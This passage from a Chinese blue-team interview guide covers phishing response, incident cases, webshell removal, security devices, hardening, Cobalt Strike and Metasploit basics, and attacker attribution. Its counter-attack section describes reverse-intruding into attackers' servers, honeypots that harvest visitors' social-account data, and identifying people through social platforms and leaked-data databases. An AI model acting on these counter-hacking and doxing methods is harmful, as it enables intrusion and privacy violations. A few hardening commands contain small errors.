## 46、遇到钓鱼邮件如何处置？

- 1)、第一时间隔离被钓鱼的主机。
- 2)、通过第三方联系方式对攻击进行预警，防止其他员工再次上钩。
- 3)、对钓鱼邮件中的样本进行取样，分析溯源。
- 4)、HW前期针对安全意识进行培训。

## 47、说说钓鱼邮件处置实际操作

- 1)、屏蔽办公区域对钓鱼邮件内容涉及站点、URL 访问。
- 2)、根据办公环境实际情况可以在上网行为管理、路由器、交换机上进行屏蔽邮件内容涉及域名、IP 均都应该进行屏蔽，对访问钓鱼网站的内网 IP 进行记录，以便后续排查溯源可能的后果。

- 3)、屏蔽钓鱼邮件。
- 4)、屏蔽钓鱼邮件来源邮箱域名。
- 5)、屏蔽钓鱼邮件来源 IP。
- 6)、有条件的可以根据邮件内容进行屏蔽。
- 7)、删除还在邮件服务器未被客户端收取钓鱼邮件。
- 8)、处理接收到钓鱼邮件的用户。
- 9)、根据钓鱼邮件发件人进行日志回溯。

此处除了需要排查有多少人接收到钓鱼邮件之外，还需要排查是否公司通讯录泄露。采用 TOP500 姓氏撞库发送钓鱼邮件的攻击方式相对后续防护较为简单。如果发现是使用公司通讯录顺序则需要根据通讯录的离职情况及新加入员工排查通讯录泄露时间。毕竟有针对性的社工库攻击威力要比 TOP100、TOP500 大很多

- 10)、通知已接收钓鱼邮件的用户进行处理
- 11)、删除钓鱼邮件
- 12)、系统改密
- 13)、全盘扫毒
- 14)、后续：溯源、员工培训提升安全意识

## 48、说一个项目中发生的应急案例

西南交通大学邮件钓鱼应急 | 2023年05月10日

项目内容：大学教师邮箱向其他邮箱发送大量钓鱼邮件，前去该单位做应急响应、溯源工作。

项目成果：

- 1)、大学教师点击攻击者发的邮件后泄露邮箱账户密码，然后向其他邮箱发送大量钓鱼邮件。
- 2)、攻击者的邮件钓鱼域名是恶意的，通过邮件登录日志分析，攻击者的IP集中于安徽黄山。
- 3)、域名whois信息查找到注册人和qq邮箱，成功溯源到个人。

四川省教育厅应急 | 2024年01月23日

项目内容：四川省教育厅致远OA M3系统遭受境外黑客入侵，前去该单位做应急响应、溯源反制。

项目成果：

- 1)、由于致远OA M3系统未开启访问日志，所以无法通过日志进行溯源研判。
- 2)、致远OA M3系统存在反序列化漏洞，境外黑客可能是通过该漏洞入侵的。
- 3)、服务器上发现fscan、frp、ladon、goby、超级弱口令检测工具等攻击痕迹。

## 49、网站被上传webshell如何处理？

1）、首先关闭网站，下线服务。有必要的话将服务器断网隔离。

2）、手工结合工具进行检测。

工具方面比如使用D盾webshellkill，河马webshell查杀，百度在线webshell查杀等工具对网站目录进行排查查杀，如果是在护网期间可以将样本备份再进行查杀。

手工方面对比未上传webshell前的备份文件，从文件甚至代码层面进行对比，检查有无后门程序或者其他异常文件，实在不行就直接用备份文件替换了。

3）、加强安全策略，比如定期备份网站配置文件，及时安装服务器补丁，定期更新组件以及安全防护软件，定期修改密码等等措施。

## 50、常见OA系统？

PHP：通达OA、泛微 Eoffice

Java：泛微OA/云桥、致远OA、蓝凌OA、用友OA

ASP：启莱OA

## 51、了解安全设备吗？

1）、入侵防御系统IPS

是计算机网络安全设施，是对防病毒软件和防火墙的补充。入侵预防系统是一部能够监视网络或网络设备的网络数据传输行为的计算机网络安全设备，能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络数据传输行为。

2）、入侵检测系统IDS

积极主动的防护措施，按照一定的安全策略，通过软件，硬件对网络，系统的运行进行实时的监控，尽可能地发现网络攻击行为，积极主动的处理攻击，保证网络资源的机密性，完整性和可用性。

3）、防火墙

防火墙是位于两个(或多个)网络间，实行网络间访问或控制的一组组件集合之硬件或软件。隔离网络，制定出不同区域之间的访问控制策略来控制不同信任程度区域间传送的数据流。

4）、数据库审计系统

是对数据库访问行为进行监管的系统，通过镜像或者探针的方式采集所有数据库的访问流量，并基于SQL语法，语义的解析技术，记录下对数据库所有访问和操作行为，例如访问数据的用户IP，账号，时间等等，对数据进行操作的行为等等。

5）、日志审计系统

日志审计系统能够通过主被动结合的手段，实时且不间断的采集用户网络中不同厂商的安全设备，网络设备，主机，操作系统以及各种应用系统产生的海量日志信息，并将这些信息汇集到审计中心，进行集中化存储，备份，查询，审计，告警，响应，并出具丰富的报表报告，获悉全网的整体安全运行态势，同时满足等保关于安全管理中心的日志保存时间大于6个月的要求。

6）、堡垒机

是针对内部运维人员的运维安全审计系统。主要功能是对运维人员的运维操作进行审计和权限控制(比如要登录某些平台或者系统只能通过堡垒机才可以,不用堡垒机是无法访问的)。同时堡垒机还有账号集中管理,单点登录(在堡垒机上登录即可实现对多个其他平台的无密登录)等功能。

#### 7)、漏洞扫描系统

漏洞扫描工具或者设备是基于漏洞数据库,通过扫描等手段对指定的远程或本地计算机系统的安全脆弱性进行检测,发现可利用漏洞的一种安全检测系统(我们常用的针对WEB站点进行扫描的工具和此处漏洞扫描系统不是一个概念)。

#### 8)、数据安全态势感知平台

以大数据平台为基础,通过收集多元,异构的海量日志,利用关联分析,机器学习,威胁情报,可视化等技术,帮助用户持续监测网络安全态势,实现从被动防御向积极防御的进阶。

#### 9)、终端安全管理系统

是集防病毒,终端安全管控,终端准入,终端审计,外设管控,EDR等功能于一体,兼容不同操作系统和计算机平台,帮助客户实现平台一体化,功能一体化,数据一体化的终端安全立体防护。

#### 10)、WAF

WAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的web攻击行为进行分析并拦截,有效的降低网站安全风险。产品主要部署在网站服务器的前方。通过特征提取和分块检索技术进行模式匹配来达到过滤,分析,校验网络请求包的目的,在保证正常网络应用功能的同时,隔绝或者阻断无效或者非法的攻击请求。

#### 11)、蜜罐

蜜罐是一种安全威胁的主动防御技术,它通过模拟一个或多个易受攻击的主机或服务来吸引攻击者,捕获攻击流量与样本,发现网络威胁,提取威胁特征,蜜罐的价值在于被探测,攻陷。

## 52、了解过系统加固吗?

### 账户安全

- windows
- 比如设置登录时不显示上次登录的用户名,防止弱口令爆破。
- 设置账户锁定策略,比如说登录行为限制次数,达到次数后锁定多长时间。
- linux
- 禁用root之外的超级用户 使用password -l <用户名>命令来锁定用户 -u解锁
- 限制普通用户使用sudo提权,或者说限制提权的权限大小
- 锁定系统中多余的自建账号
- 设置账户锁定登录失败锁定次数,锁定时间 faillog -u <用户名>命令来解锁用户

### 口令安全

- windows
- 设置密码必须符合复杂性要求,比如设置时数字,大写字母,小写字母,特殊字符都要具备
- 设置最小密码长度不能为0,设置不能使用历史密码
- linux
- 检查shadow中空口令账号,修改口令复杂度,设置密码有效期vim /etc/login.def命令

### 服务与端口收敛

- 关闭或者限制常见的高危端口，比如说22端口(SSH)，23端口(Telnet)，3389端口(RDP)
- compmgmt.msc排查计划任务
- linux上iptables封禁IP或者限制端口

#### 文件权限管理

- linux上chmod修改文件权限 chattr重要文件设置不可修改权限

#### 系统日志审计

- linux上设置系统日志策略配置文件
- 系统日志 /var/log/message
- cron日志/var/log/cron
- 安全日志/var/log/secure

#### 设备和网络控制

- 比如在涉密计算机上禁止访问外网，为了避免用户绕过策略可以禁止用户修改IP
- 删除默认路由配置，避免利用默认路由探测网络
- 禁止使用USB设备比如U盘
- 禁止ping命令，即禁用ICMP协议访问，不让外部ping通服务器

## 53、CS是什么东西，知道怎么使用吗？

#### 简介

- CobaltStrike是一款渗透测试工具，被业界人称为CS。CobaltStrike分为客户端与服务端，服务端是一个，客户端可以有多个，可用于团队分布式协同操作。

#### 功能

- CobaltStrike 集成了端口转发，服务扫描，自动化溢出，多模式端口监听，windows exe 木马生成，windows dll 木马生成，java 木马生成，office 宏病毒生成，木马捆绑。钓鱼攻击等功能。

#### 使用

- 一般使用步骤就是，先启动服务端，然后启动客户端连接获得一个可视化的界面，新建监听器来接收会话，生成木马文件(常见.exe可执行文件，office宏病毒，html应用程序类型的后门文件)，上传到受害主机，当受害者运行该木马文件时目标主机就在CS上线了。

## 54、WAF方面有没有了解过，清楚WAF的分类和原理吗？

#### 分类：

- WAF分为非嵌入型WAF和嵌入型WAF，非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的；嵌入型指的是web容器模块类型WAF、代码层WAF。

#### 原理：

- Web应用防火墙是通过执行一系列针对HTTP或者HTTPS的安全策略来专门为Web应用提供保护的一款产品。WAF对请求的内容进行规则匹配、行为分析等识别出恶意行为，并执行相关动作，这些动作包括阻断、记录、告警等。

## 55、Powershell了解过吗？

### 简介

- PowerShell 是一种命令行外壳程序和脚本环境，主要用于Windows计算机方便管理员进行系统管理并有可能在未来取代Windows上的默认命令提示符。PowerShell脚本因其良好的功能特性常用于正常的系统管理和安全配置工作。

### 使用

- 常见的操作 pwd ls cd mkdir rm
- get-process获取所有进程信息
- get-date获取当前时间信息
- get-host获取当前主机信息
- 然后就是使用Powersploit(基于Powershell的后渗透框架软件，包括了很多Power shell攻击脚本，主要用于渗透中的信息收集，权限提升，权限维持)的时候在Powshell上使用过一些下载和运行攻击脚本的命令。

## 56、MSF是什么？ 知道如何使用吗？

### 简介：

- Metasploit Framework(MSF)是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程。

### 模块：

- Auxiliary (辅助模块)
- 为渗透测试信息搜集提供了大量的辅助模块支持
- Exploits (攻击模块)
- 利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击，从而获得对远程目标系统访问权的代码组件。
- Payload (攻击载荷模块)
- 攻击成功后促使靶机运行的一段植入代码
- Post (后渗透攻击模块)
- 收集更多信息或进一步访问被利用的目标系统
- Encoders (编码模块)
- 将攻击载荷进行编码，来绕过防护软件拦截

### 使用：

- 首先利用Auxiliary辅助探测模块扫描，嗅探，指纹识别相关漏洞，然后确认漏洞存在使用Exploit漏洞利用模块对漏洞进行利用，包括设置payload攻击载荷，设置本机监听等等。漏洞利用成功目标主机就会通过设置的端口主动连接，产生会话。进而可以进行后渗透。

### 功能：

- 木马免杀，抓取用户密码，关闭杀毒软件，屏幕截图，新建账号，远程登录，迁移进程，提权操作，网络嗅探，端口转发，内网代理，内网扫描，生成后门，清除日志等等。



# 溯源反制

## 1、蓝队常用的反制手段有哪些？

- 1)、蜜罐平台反制：模拟SSL VPN等平台，诱导攻击者下载应用软件及安装使用，上线攻击者主机
- 2)、对攻击目标进行反渗透（IP 定位、IP 端口扫描、web 站点扫描）。
- 4)、钓鱼反制：根据蜜罐捕获信息，通过社交软件平台、手机短信、邮件等方式进行钓鱼（钓鱼网站->后台扫描、xss 盲打）。
- 5)、木马文件->同源样本关联，反钓鱼也逐渐被蓝队重视，通过在服务器上故意放置钓鱼文件，吸引红队主动下载安装，完成反钓鱼。

## 2、什么是溯源反制？

溯源：通过攻击源分析攻击路径

反制：根据攻击源反向入侵攻击者vps（虚拟专用服务器）

## 3、说一下你的溯源思路？

- 1)、可从安全设备告警的扫描IP、威胁阻断IP、上传病毒木马的IP、入侵IP，进行反向查找。
- 2)、日志流量，查看异常流量的ip，域名（长时间外联ip）。
- 3)、木马文件，进行逆向分析，查看外联IP。域名。
- 4)、webshe11，分析webshe11所指向的地址，分析she11信息。
- 5)、钓鱼邮件，查看攻击者发送的钓鱼网站ip，域名进行反向溯源。
- 6)、蜜罐捕捉，查看蜜罐捕捉到的ip，可利用mysql漏洞读取攻击者的攻击机器信息。
- 7)、通过恶意样本文件特征进行溯源渠道（github、网盘、博客、论坛等等）。
- 8)、微信、支付宝、淘宝等平台查找姓氏。

## 4、蜜罐是怎么获取攻击者社交账号信息的？怎么防

浏览器信息读取，利用jsonp，跨域访问社交平台接口，提取包含的个人信息。

防御方式：

使用浏览器隐私模式，或虚拟机内实施攻击操作。

## 5、HW项目中有写过溯源报告？

## 6、对攻击者进行身份画像有哪些？

虚拟身份：ID、昵称、网名

真实身份：姓名、物理位置

联系方式：手机号、qq/微信、邮箱

组织情况：单位名称、职位信息

## 7、HW期间没发现有效攻击事件如何得分？

可以通过对非法攻击溯源反制得分

## 8、获取到钓鱼邮件exe如何分析？

1）、看创建日期，看备注信息

2）、ida看调试信息，可能有个人id、网名

3）、上传查杀、威胁检测平台，分析行为特征，获取内部url、ip地址等

4）、各大威胁平台结果判断木马生成时间，是否已知

## 9、溯源收集目标邮箱对有什么用？

搜索引擎，查论坛，查博客，推测职业

社工库、第三方直接查个人信息

## 10、通过手机号后怎么获取攻击者信息？

1）、各大社交平台。

2）、百度、谷歌搜索。

3）、各种app，如csdn、支付宝、钉钉、脉脉等，qq、微信好友。

## 11、通过域名、ip怎么确认攻击者身份？

1）、云平台域名、ip找回账号方式，获取手机号部分信息

2）、搜索引擎查ip现有服务，历史服务，有无攻击特征

3）、威胁情报、沙箱获取信息

4）、百度贴吧、个人博客、技术论坛、网站备案等

## 12、通过哪些工具、网站获取攻击者信息？

1)、微步情报查询、埃文科技网站定位ip地址。

2)、whois查询定位到具体人员。

3)、Reg007: 实人信息查询阶段

4)、微信、qq、支付宝查询姓名

## 13、你人脉如何？你能帮忙查360、奇安信、深信服、XXX的库吗？

一般，个人有一些工作小群

## 14、简单描述一下你在工作中遇到有意思的攻击溯源事件（说溯源案列）